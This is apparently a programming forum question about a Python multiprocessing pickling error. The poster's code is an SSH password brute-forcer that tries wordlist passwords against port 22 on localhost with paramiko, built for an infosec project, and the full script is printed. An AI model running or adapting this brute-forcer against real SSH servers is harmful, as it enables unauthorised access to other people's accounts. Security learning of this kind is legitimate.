I am making a python script that initially created threads and used them to brute force port 22 on my local machine using a wordlist, part of an infosec project.
I had issues when there were too many threads and I wanted to kill them off elegantly and exit the program and so I started to look at multiprocessing instead based this post's answer by by user cfi.
The problem I have is that when I run the program I am getting the below error.
python3 ssh_brute.py
[*] Pass not found
Traceback (most recent call last):
File "/Users/richardcurteis/anaconda3/lib/python3.7/multiprocessing/queues.py", line 236, in _feed
obj = _ForkingPickler.dumps(obj)
File "/Users/richardcurteis/anaconda3/lib/python3.7/multiprocessing/reduction.py", line 51, in dumps
cls(buf, protocol).dump(obj)
File "/Users/richardcurteis/anaconda3/lib/python3.7/multiprocessing/process.py", line 330, in __reduce__
'Pickling an AuthenticationString object is '
TypeError: Pickling an AuthenticationString object is disallowed for security reasons
I assume I am doing something wrong with the multiprocessing API but I am not sure what exactly. I have looked at the docs and I believe I am more or less on track.
What am I missing?
Code:
import paramiko
from multiprocessing import Queue, Process
TARGET_IP = 'localhost'
USERNAME = 'richardcurteis'
WORDLIST = 'test2.txt'
MAX_THREADS = 10
processes = []
found = []
q = Queue()
def ssh_connect(target_ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(target_ip, username=username, password=password)
found.append(password)
q.put(password)
except paramiko.ssh_exception.AuthenticationException:
print("[*] Failed: ", password)
return False
finally:
ssh.close()
return True
def close_threads(abort=False):
for p in processes:
p.join()
if abort:
for x in processes:
x.terminate()
processes.clear()
def main():
with open(WORDLIST) as input_handle:
process_count = 0
for line in input_handle:
try:
password = line.rstrip()
p = Process(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
processes.append(p)
p.start()
q.put(p)
process_count += 1
if not q.empty():
break
if process_count >= MAX_THREADS:
close_threads()
process_count = 0
except KeyboardInterrupt:
print("[!] Interrupted by user")
break
except (ConnectionResetError, paramiko.ssh_exception.SSHException):
print("[X] Connection reset by target. Reduce thread count")
break
close_threads()
if len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
if __name__ == '__main__':
main()